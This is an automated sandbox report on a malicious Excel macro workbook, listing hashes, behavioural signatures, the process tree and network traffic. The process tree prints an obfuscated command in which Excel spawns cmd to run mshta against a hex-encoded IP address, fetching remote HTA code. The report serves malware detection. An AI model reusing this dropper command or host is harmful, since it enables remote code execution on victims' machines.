Analysis
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max time kernel
150s -
max time network
137s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
19-01-2022 19:39
Behavioral task
behavioral1
Sample
bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
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Target
bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm
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Size
115KB
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MD5
f4d25cf8a129a7d5f017c7ff90e768fd
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SHA1
5e5faa43a14365d234bd071f1ae2b9fcd3511ec0
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SHA256
bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2
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SHA512
51ed9a545b67f3296a06d0f1ed570a7caed45a9fa3adf20fad21bf8a40b576015d656f3cf7c117d354ece81006bcb268ca76ed04e30543e5e5237151234d8ea1
Score
10/10
Malware Config
Extracted
Language
hta
Source
1
mshta http://0x5cff39c3/sec/se1.html
URLs
hta.dropper
http://0x5cff39c3/sec/se1.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1172 2780 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 41 2892 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2780 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE 2780 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2780 wrote to memory of 780 2780 EXCEL.EXE 69 PID 2780 wrote to memory of 780 2780 EXCEL.EXE 69 PID 2780 wrote to memory of 1172 2780 EXCEL.EXE 71 PID 2780 wrote to memory of 1172 2780 EXCEL.EXE 71 PID 1172 wrote to memory of 2892 1172 cmd.exe 73 PID 1172 wrote to memory of 2892 1172 cmd.exe 73
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:780
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
PID:2892
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Network
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Remote address:92.255.57.195:80RequestGET /sec/se1.html HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 92.255.57.195
Connection: Keep-Alive
ResponseHTTP/1.0 404 Not Found
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322 B 7
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1.4kB 1.8kB 9 10
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743 B 368 B 9 8
HTTP Request
GET http://92.255.57.195/sec/se1.htmlHTTP Response
404
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